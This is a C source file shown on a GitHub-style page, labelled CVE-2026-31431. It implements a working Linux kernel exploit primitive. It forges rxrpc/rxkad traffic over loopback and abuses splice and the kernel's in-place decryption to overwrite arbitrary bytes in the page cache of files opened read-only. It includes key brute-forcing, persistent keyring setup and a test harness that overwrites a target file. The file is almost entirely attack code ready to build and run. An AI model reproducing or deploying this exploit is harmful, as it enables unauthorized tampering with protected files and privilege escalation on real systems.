-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrxrpc_write.c
More file actions
747 lines (652 loc) · 24.2 KB
/
Copy pathrxrpc_write.c
File metadata and controls
747 lines (652 loc) · 24.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
/* CVE-2026-31431
*
* rxrpc_write.c -- byte-granular page-cache write primitive
*
* Exports:
* write1() -- raw single-byte write via rxrpc/rxkad vuln path
* overwrite_n() -- N-byte transform: brute-force keys + call write1()
*
* Everything else (rxrpc connection setup, wire protocol, UDP plumbing)
* is internal. No AF_ALG dependency -- checksums are pure userland
* fcrypt via fcrypt.h.
*
* Build: gcc -O2 -o rxrpc_test rxrpc_write.c fcrypt.c
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <poll.h>
#include <linux/rxrpc.h>
#include <linux/keyctl.h>
#include <endian.h>
#include "fcrypt.h"
#include "rxrpc_write.h"
/* ================================================================== */
/* Internal constants */
/* ================================================================== */
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#define RXRPC_TYPE_DATA 1
#define RXRPC_TYPE_CHALLENGE 6
#define RXRPC_FLAG_LAST 0x04
#define RXRPC_CHAN_MASK 3
#define RXRPC_CID_SHIFT 2
#define SECURITY_IX 2
#define WIRE_HDR_LEN 28
#define BRUTE_MAX (1ULL << 24)
#define RETRY_MAX 8
/* ================================================================== */
/* Wire structures */
/* ================================================================== */
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum;
uint16_t serviceId;
} __attribute__((packed));
struct rxkad_challenge {
uint32_t version;
uint32_t nonce;
uint32_t min_level;
uint32_t __pad;
} __attribute__((packed));
/* ================================================================== */
/* Internal state */
/* ================================================================== */
/* Deterministic session key -- MUST be the same across all invocations
so we can reuse the single kernel key across processes. */
static uint8_t session_key[8] = { 0x42, 0x42, 0x42, 0x42,
0x42, 0x42, 0x42, 0x42 };
static int trigger_seq;
static int dbg;
static long shared_kid = -1; /* single persistent key serial; lives in
the session/user keyring so it survives
across process invocations. NEVER
destroyed -- same key reused forever. */
static const char shared_keyname[] = "rxw"; /* fixed key description */
static inline uint8_t *xdr_u32(uint8_t *p, uint32_t v)
{ *(uint32_t *)p = htonl(v); return p + 4; }
static inline uint8_t *xdr_buf(uint8_t *p, const void *s, size_t n)
{ memcpy(p, s, n); return p + n; }
static inline uint8_t *xdr_str(uint8_t *p, const char *s)
{
uint32_t len = (uint32_t)strlen(s);
uint32_t pad = (4 - (len & 3)) & 3;
p = xdr_u32(p, len);
memcpy(p, s, len);
memset(p + len, 0, pad);
return p + len + pad;
}
static int build_token(uint8_t *buf, size_t cap)
{
uint32_t now = (uint32_t)time(NULL);
uint8_t *p = buf;
p = xdr_u32(p, 0);
p = xdr_str(p, "evil");
p = xdr_u32(p, 1);
uint8_t *tl = p; p += 4;
uint8_t *ts = p;
p = xdr_u32(p, SECURITY_IX);
p = xdr_u32(p, 0);
p = xdr_u32(p, 1);
p = xdr_buf(p, session_key, 8);
p = xdr_u32(p, now);
p = xdr_u32(p, now + 86400);
p = xdr_u32(p, 1);
p = xdr_u32(p, 8);
memset(p, 0xCC, 8); p += 8;
*(uint32_t *)tl = htonl((uint32_t)(p - ts));
if ((size_t)(p - buf) > cap) return -1;
return (int)(p - buf);
}
#define TARGET_KEYRING KEY_SPEC_USER_KEYRING
/* Search for an existing "rxrpc" key with description `desc`. */
static long key_find(const char *desc)
{
return syscall(SYS_keyctl, 10 /* KEYCTL_SEARCH */,
TARGET_KEYRING, "rxrpc", desc, 0);
}
static long key_add_to(const char *desc, int keyring)
{
uint8_t buf[512];
int n = build_token(buf, sizeof(buf));
if (n < 0) return -1;
return syscall(SYS_add_key, "rxrpc", desc, buf, (size_t)n, keyring);
}
static void key_destroy(long id)
{
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, id);
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, id, TARGET_KEYRING);
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, id, KEY_SPEC_SESSION_KEYRING);
}
static void derive_iv(uint32_t epoch, uint32_t cid,
const uint8_t key[8], uint8_t iv[8])
{
uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(SECURITY_IX) };
uint8_t out[16];
fcrypt_pcbc_encrypt(key, key, in, out, 16);
memcpy(iv, out + 8, 8);
}
static uint16_t cksum(uint32_t cid, uint32_t call, uint32_t seq,
const uint8_t key[8], const uint8_t iv[8])
{
uint32_t x = (cid & RXRPC_CHAN_MASK) << (32 - RXRPC_CID_SHIFT);
x |= seq & 0x3fffffff;
uint32_t in[2] = { htonl(call), htonl(x) };
uint32_t out[2];
fcrypt_pcbc_encrypt(key, iv, in, out, 8);
uint16_t v = (uint16_t)((ntohl(out[1]) >> 16) & 0xffff);
return v ? v : 1;
}
static int udp_open(uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct timeval tv = { .tv_sec = 0, .tv_usec = 50000 };
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
struct sockaddr_in sa = {
.sin_family = AF_INET, .sin_port = htons(port),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0)
{ close(s); return -1; }
return s;
}
static int rxrpc_open(uint16_t port, const char *keyname)
{
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0) return -1;
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
keyname, strlen(keyname)) < 0)
goto fail;
int lv = RXRPC_SECURITY_AUTH;
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
&lv, sizeof(lv)) < 0)
goto fail;
struct sockaddr_rxrpc srx = {
.srx_family = AF_RXRPC, .transport_type = SOCK_DGRAM,
.transport_len = sizeof(struct sockaddr_in),
.transport.sin = {
.sin_family = AF_INET, .sin_port = htons(port),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
},
};
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0)
goto fail;
return fd;
fail:
close(fd);
return -1;
}
static int rxrpc_call(int fd, uint16_t srv_port, uint16_t svc)
{
struct sockaddr_rxrpc srx = {
.srx_family = AF_RXRPC, .srx_service = svc,
.transport_type = SOCK_DGRAM,
.transport_len = sizeof(struct sockaddr_in),
.transport.sin = {
.sin_family = AF_INET, .sin_port = htons(srv_port),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
},
};
char cbuf[CMSG_SPACE(sizeof(unsigned long)) + CMSG_SPACE(0)];
memset(cbuf, 0, sizeof(cbuf));
struct iovec iov = { .iov_base = (char[8]){"PINGPING"}, .iov_len = 8 };
struct msghdr msg = {
.msg_name = &srx, .msg_namelen = sizeof(srx),
.msg_iov = &iov, .msg_iovlen = 1,
.msg_control = cbuf, .msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
cm->cmsg_level = SOL_RXRPC;
cm->cmsg_type = RXRPC_USER_CALL_ID;
cm->cmsg_len = CMSG_LEN(sizeof(unsigned long));
*(unsigned long *)CMSG_DATA(cm) = 0xDEAD;
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_level = SOL_RXRPC;
cm->cmsg_type = 10; /* RXRPC_EXCLUSIVE_CALL */
cm->cmsg_len = CMSG_LEN(0);
int fl = fcntl(fd, F_GETFL);
fcntl(fd, F_SETFL, fl | O_NONBLOCK);
ssize_t n = sendmsg(fd, &msg, 0);
fcntl(fd, F_SETFL, fl);
return (n >= 0 || errno == EAGAIN) ? 0 : -1;
}
struct conn {
int udp;
int rxrpc;
long kid;
uint32_t epoch, cid, call, svc;
uint16_t cli_port;
uint8_t iv[8];
};
static int conn_up(struct conn *c)
{
memset(c, 0, sizeof(*c));
c->udp = c->rxrpc = -1;
c->kid = -1;
/* Key must exist -- created once in rxrpc_write_init(). */
if (shared_kid < 0) {
if (dbg) fprintf(stderr, " [D] conn_up: no key (rxrpc_write_init not called?)\n");
return -1;
}
c->kid = shared_kid;
int seq = trigger_seq++;
uint16_t ps = (uint16_t)(10000 +
(((unsigned)getpid() * 251 + seq) % 25000) * 2);
uint16_t pc = ps + 1;
c->udp = udp_open(ps);
if (c->udp < 0) {
if (dbg) fprintf(stderr, " [D] conn_up: udp_open(%u) FAILED errno=%d %s\n",
ps, errno, strerror(errno));
goto fail;
}
c->rxrpc = rxrpc_open(pc, shared_keyname);
if (c->rxrpc < 0) {
if (dbg) fprintf(stderr, " [D] conn_up: rxrpc_open(%u) FAILED errno=%d %s\n",
pc, errno, strerror(errno));
goto fail;
}
if (rxrpc_call(c->rxrpc, ps, 1234) < 0) {
if (dbg) fprintf(stderr, " [D] conn_up: rxrpc_call FAILED errno=%d %s\n",
errno, strerror(errno));
goto fail;
}
/* recv initial DATA -- skip any ACKs that arrive first */
uint8_t pkt[2048];
struct sockaddr_in ca;
socklen_t cl;
ssize_t n;
struct rxrpc_wire_header *wh;
for (int tries = 0; tries < 20; tries++) {
cl = sizeof(ca);
n = recvfrom(c->udp, pkt, sizeof(pkt), 0,
(struct sockaddr *)&ca, &cl);
if (n < (ssize_t)WIRE_HDR_LEN) {
if (dbg) fprintf(stderr, " [D] conn_up: recvfrom got %zd errno=%d %s\n",
n, errno, strerror(errno));
goto fail;
}
wh = (struct rxrpc_wire_header *)pkt;
if (wh->type == RXRPC_TYPE_DATA)
break;
if (dbg) fprintf(stderr, " [D] conn_up: skip pkt type=%u (want DATA=%u)\n",
wh->type, RXRPC_TYPE_DATA);
}
if (wh->type != RXRPC_TYPE_DATA) {
if (dbg) fprintf(stderr, " [D] conn_up: never got DATA\n");
goto fail;
}
c->epoch = ntohl(wh->epoch);
c->cid = ntohl(wh->cid);
c->call = ntohl(wh->callNumber);
c->svc = ntohs(wh->serviceId);
c->cli_port = ntohs(ca.sin_port);
/* send CHALLENGE */
struct {
struct rxrpc_wire_header h;
struct rxkad_challenge ch;
} __attribute__((packed)) cp = {
.h = {
.epoch = htonl(c->epoch), .cid = htonl(c->cid),
.serial = htonl(0x10000), .type = RXRPC_TYPE_CHALLENGE,
.securityIndex = SECURITY_IX, .serviceId = htons(c->svc),
},
.ch = { .version = htonl(2), .nonce = htonl(0xDEADBEEFu),
.min_level = htonl(1) },
};
struct sockaddr_in to = {
.sin_family = AF_INET, .sin_port = htons(c->cli_port),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
if (sendto(c->udp, &cp, sizeof(cp), 0,
(struct sockaddr *)&to, sizeof(to)) < 0)
goto fail;
/* recv the RESPONSE -- skip any ACKs that arrive before it */
#define RXRPC_TYPE_ACK 3
#define RXRPC_TYPE_RESPONSE 7
for (int tries = 0; tries < 20; tries++) {
n = recvfrom(c->udp, pkt, sizeof(pkt), 0, NULL, NULL);
if (n < (ssize_t)WIRE_HDR_LEN) {
if (dbg) fprintf(stderr, " [D] conn_up: resp recvfrom got %zd errno=%d\n",
n, errno);
goto fail;
}
wh = (struct rxrpc_wire_header *)pkt;
if (wh->type == RXRPC_TYPE_RESPONSE)
break;
if (dbg) fprintf(stderr, " [D] conn_up: skip pkt type=%u (want RESPONSE=%u)\n",
wh->type, RXRPC_TYPE_RESPONSE);
}
if (wh->type != RXRPC_TYPE_RESPONSE) {
if (dbg) fprintf(stderr, " [D] conn_up: never got RESPONSE\n");
goto fail;
}
/* derive checksum IV */
derive_iv(c->epoch, c->cid, session_key, c->iv);
/* connect udp -> client for splice path */
if (connect(c->udp, (struct sockaddr *)&to, sizeof(to)) < 0)
goto fail;
return 0;
fail:
if (c->rxrpc >= 0) close(c->rxrpc);
if (c->udp >= 0) close(c->udp);
/* Key is shared -- don't destroy it; next conn_up will reuse it. */
c->udp = c->rxrpc = -1; c->kid = -1;
return -1;
}
static void conn_down(struct conn *c)
{
if (c->rxrpc >= 0) {
/* On kernel 6.17+, rxkad_verify_packet (which does the in-place
decrypt that writes to the file page) is called from recvmsg,
NOT from the input path. We must actually READ the reply.
AF_RXRPC recvmsg returns EAGAIN immediately regardless of
SO_RCVTIMEO when recvmsg_q is empty (early-exit in
rxrpc_recvmsg line 390). Use poll() to wait for the
io_thread to queue the inject packet before calling recvmsg. */
struct pollfd pfd = { .fd = c->rxrpc, .events = POLLIN };
int pr = poll(&pfd, 1, 200 /* ms */);
if (dbg && pr <= 0)
fprintf(stderr, " [D] conn_down: poll=%d errno=%d\n", pr, errno);
char sink[256];
struct iovec iv = { .iov_base = sink, .iov_len = sizeof(sink) };
struct msghdr m = { .msg_iov = &iv, .msg_iovlen = 1 };
ssize_t n = recvmsg(c->rxrpc, &m, 0);
if (dbg) fprintf(stderr, " [D] conn_down: recvmsg=%zd errno=%d\n",
n, errno);
close(c->rxrpc);
}
if (c->udp >= 0) close(c->udp);
}
/* ================================================================== */
/* Inject: fill pipe, splice into UDP */
/* ================================================================== */
static int inject(struct conn *c, int fd, off_t off, const uint8_t pad[7])
{
uint16_t ck = cksum(c->cid, c->call, 1, session_key, c->iv);
struct rxrpc_wire_header hdr = {
.epoch = htonl(c->epoch), .cid = htonl(c->cid),
.callNumber = htonl(c->call), .seq = htonl(1),
.serial = htonl(0x42000), .type = RXRPC_TYPE_DATA,
.flags = RXRPC_FLAG_LAST, .securityIndex = SECURITY_IX,
.cksum = htons(ck), .serviceId = htons(c->svc),
};
int p[2];
if (pipe(p) < 0) {
fprintf(stderr, " [D] inject: pipe FAILED errno=%d\n", errno);
return -1;
}
/* single vmsplice: header (28 B) + pad (7 B) = 35 B */
struct iovec v[2] = {
{ .iov_base = &hdr, .iov_len = WIRE_HDR_LEN },
{ .iov_base = (void *)pad, .iov_len = 7 },
};
ssize_t vs = vmsplice(p[1], v, 2, 0);
if (vs != WIRE_HDR_LEN + 7) {
if (dbg) fprintf(stderr, " [D] inject: vmsplice got %zd want %d errno=%d %s\n",
vs, WIRE_HDR_LEN + 7, errno, strerror(errno));
goto fail;
}
loff_t fo = off;
ssize_t ss = splice(fd, &fo, p[1], NULL, 1, SPLICE_F_NONBLOCK);
if (ss != 1) {
if (dbg) fprintf(stderr, " [D] inject: splice(file->pipe) got %zd errno=%d %s\n",
ss, errno, strerror(errno));
goto fail;
}
ssize_t su = splice(p[0], NULL, c->udp, NULL, WIRE_HDR_LEN + 8, 0);
if (su < 0) {
if (dbg) fprintf(stderr, " [D] inject: splice(pipe->udp) got %zd errno=%d %s\n",
su, errno, strerror(errno));
goto fail;
}
close(p[0]); close(p[1]);
return 0;
fail:
close(p[0]); close(p[1]);
return -1;
}
void rxrpc_write_init(void)
{
fcrypt_init();
dbg = (getenv("RXRPC_DEBUG") != NULL);
/* session_key is fixed (deterministic) so every invocation can
reuse the same kernel key. Already set at file scope. */
/* Trigger rxrpc module autoload so the "rxrpc" key type is
registered in the kernel. add_key("rxrpc",...) returns ENODEV
if the module isn't loaded yet. A bare socket(AF_RXRPC) is
the simplest way to poke the module loader. */
{
int tmp = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (tmp >= 0) close(tmp);
else if (dbg) fprintf(stderr, "[D] rxrpc module trigger: errno=%d %s\n",
errno, strerror(errno));
}
long sk = syscall(SYS_keyctl, 1 /* KEYCTL_JOIN_SESSION_KEYRING */,
NULL);
if (dbg) fprintf(stderr, "[D] session keyring=%ld (errno=%d)\n",
sk, sk < 0 ? errno : 0);
#define PERM_REUSABLE 0x3f3b0000u /* pos:alswrv usr:als-rv */
/* First try the user keyring (cross-invocation reuse). */
shared_kid = key_find(shared_keyname);
if (shared_kid >= 0) {
long lr = syscall(SYS_keyctl, 8 /* KEYCTL_LINK */, shared_kid,
KEY_SPEC_SESSION_KEYRING);
if (lr == 0) {
if (dbg) fprintf(stderr, "[D] reusing key serial=%ld\n", shared_kid);
return; /* done -- key is in session keyring, request_key will find it */
}
/* Link failed (permission issue on old key?) -- destroy it and recreate. */
if (dbg) fprintf(stderr, "[D] link of existing key %ld failed (errno=%d), recreating\n",
shared_kid, errno);
key_destroy(shared_kid);
shared_kid = -1;
}
/* Create the key in the SESSION keyring (where we possess it). */
shared_kid = key_add_to(shared_keyname, KEY_SPEC_SESSION_KEYRING);
if (shared_kid < 0) {
fprintf(stderr, "[!] FATAL: key_add(session) failed errno=%d %s\n",
errno, strerror(errno));
if (errno == ENODEV)
fprintf(stderr, "[!] rxrpc module not loaded -- "
"socket(AF_RXRPC) didn't trigger autoload?\n");
return;
}
long pr = syscall(SYS_keyctl, 5 /* KEYCTL_SETPERM */, shared_kid,
PERM_REUSABLE);
if (pr < 0 && dbg)
fprintf(stderr, "[!] KEYCTL_SETPERM failed errno=%d %s\n",
errno, strerror(errno));
/* Also link into the user keyring for cross-invocation persistence.
The user keyring survives across sessions / su invocations. */
syscall(SYS_keyctl, 8 /* KEYCTL_LINK */, shared_kid,
KEY_SPEC_USER_KEYRING);
if (dbg) fprintf(stderr, "[D] created key serial=%ld (session + user keyring)\n",
shared_kid);
}
void rxrpc_write_cleanup(void)
{
shared_kid = -1;
}
int write1(int fd, off_t off, const uint8_t key[8], const uint8_t pad[7])
{
(void)key; /* kept in signature for API compat; unused now */
struct conn c;
if (conn_up(&c) < 0) {
if (dbg) fprintf(stderr, " [D] write1: conn_up FAILED (errno=%d %s)\n",
errno, strerror(errno));
return -1;
}
int rc = inject(&c, fd, off, pad);
if (rc != 0 && dbg)
fprintf(stderr, " [D] write1: inject FAILED (errno=%d %s)\n",
errno, strerror(errno));
conn_down(&c);
return rc;
}
/* Internal: write using the global fixed session_key (no key change). */
static int write1_pad(int fd, off_t off, const uint8_t pad[7])
{
struct conn c;
if (conn_up(&c) < 0) {
if (dbg) fprintf(stderr, " [D] write1_pad: conn_up FAILED (errno=%d %s)\n",
errno, strerror(errno));
return -1;
}
int rc = inject(&c, fd, off, pad);
if (rc != 0 && dbg)
fprintf(stderr, " [D] write1_pad: inject FAILED (errno=%d %s)\n",
errno, strerror(errno));
conn_down(&c);
return rc;
}
int overwrite_n(int fd, off_t base_off,
const void *source, const void *dest, size_t size)
{
const uint8_t *src = (const uint8_t *)source;
const uint8_t *dst = (const uint8_t *)dest;
for (size_t i = 0; i < size; i++) {
if (src[i] == dst[i])
continue;
if (dbg) fprintf(stderr, "[D] byte[%zu] off=%ld: 0x%02x -> 0x%02x\n",
i, (long)(base_off + (off_t)i), src[i], dst[i]);
int ok = 0;
for (int attempt = 0; attempt < RETRY_MAX; attempt++) {
/* read current value from page cache */
uint8_t cur;
if (pread(fd, &cur, 1, base_off + (off_t)i) != 1) {
if (dbg) fprintf(stderr, " [D] pread FAILED (errno=%d)\n", errno);
return -1;
}
if (cur == dst[i]) {
if (dbg) fprintf(stderr, " [D] already correct (attempt=%d)\n", attempt);
ok = 1; break;
}
/* Brute-force the 7-byte pad with the fixed session key.
Key is already in the kernel (created once in init). */
uint8_t pad[7];
if (fcrypt_find_pad(session_key, cur, dst[i], pad, BRUTE_MAX) != 0) {
fprintf(stderr, "[!] fcrypt_find_pad FAILED cur=0x%02x dst=0x%02x\n",
cur, dst[i]);
return -1;
}
if (write1_pad(fd, base_off + (off_t)i, pad) != 0) {
if (dbg) fprintf(stderr, " [D] write1_pad FAILED attempt=%d\n", attempt);
continue; /* trigger failed -- retry */
}
/* verify */
if (pread(fd, &cur, 1, base_off + (off_t)i) != 1) {
if (dbg) fprintf(stderr, " [D] pread verify FAILED (errno=%d)\n", errno);
return -1;
}
if (cur == dst[i]) {
if (dbg) fprintf(stderr, " [D] OK attempt=%d\n", attempt);
ok = 1; break;
}
if (dbg) fprintf(stderr, " [D] verify mismatch attempt=%d got=0x%02x want=0x%02x\n",
attempt, cur, dst[i]);
/* wrong byte landed -- re-derive from actual current value */
}
if (!ok) {
uint8_t final;
(void)pread(fd, &final, 1, base_off + (off_t)i);
fprintf(stderr, "[!] byte[%zu] off=%ld GAVE UP after %d attempts"
" (cur=0x%02x want=0x%02x)\n",
i, (long)(base_off + (off_t)i), RETRY_MAX,
final, dst[i]);
return -1;
}
}
return 0;
}
/* ================================================================== */
/* Test harness (only when compiled as standalone binary) */
/* ================================================================== */
#ifdef RXRPC_WRITE_MAIN
#include <sys/stat.h>
#include <getopt.h>
static const uint8_t overwrite_data[] = {
0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF
};
int main(int argc, char **argv)
{
const char *path = "/tmp/xxx";
int opt;
while ((opt = getopt(argc, argv, "p:")) != -1) {
switch (opt) {
case 'p': path = optarg; break;
default:
fprintf(stderr, "usage: %s [-p path]\n", argv[0]);
return 2;
}
}
rxrpc_write_init();
size_t datalen = sizeof(overwrite_data);
int fd = open(path, O_RDONLY);
if (fd < 0) { perror(path); return 1; }
/* read current bytes from page cache */
uint8_t *src = malloc(datalen);
if (!src) { perror("malloc"); return 1; }
if ((size_t)pread(fd, src, datalen, 0) != datalen) {
perror("pread source"); return 1;
}
fprintf(stderr, "[*] %s: %zu bytes at offset 0\n", path, datalen);
fprintf(stderr, "[*] current: ");
for (size_t i = 0; i < datalen; i++)
fprintf(stderr, "%02x", src[i]);
fprintf(stderr, "\n[*] target: ");
for (size_t i = 0; i < datalen; i++)
fprintf(stderr, "%02x", overwrite_data[i]);
fprintf(stderr, "\n");
struct timespec t0, t1;
clock_gettime(CLOCK_MONOTONIC, &t0);
if (overwrite_n(fd, 0, src, overwrite_data, datalen) != 0) {
fprintf(stderr, "[!] FAILED\n");
free(src); close(fd);
return 1;
}
clock_gettime(CLOCK_MONOTONIC, &t1);
double ms = (t1.tv_sec - t0.tv_sec) * 1000.0
+ (t1.tv_nsec - t0.tv_nsec) / 1e6;
/* verify */
uint8_t *got = malloc(datalen);
(void)pread(fd, got, datalen, 0);
int pass = 1;
fprintf(stderr, "[+] result (%.1f ms): ", ms);
for (size_t i = 0; i < datalen; i++) {
fprintf(stderr, "%02x", got[i]);
if (got[i] != overwrite_data[i]) pass = 0;
}
fprintf(stderr, " %s\n", pass ? "OK" : "*** MISMATCH");
free(src); free(got); close(fd);
return pass ? 0 : 1;
}
#endif /* RXRPC_WRITE_MAIN */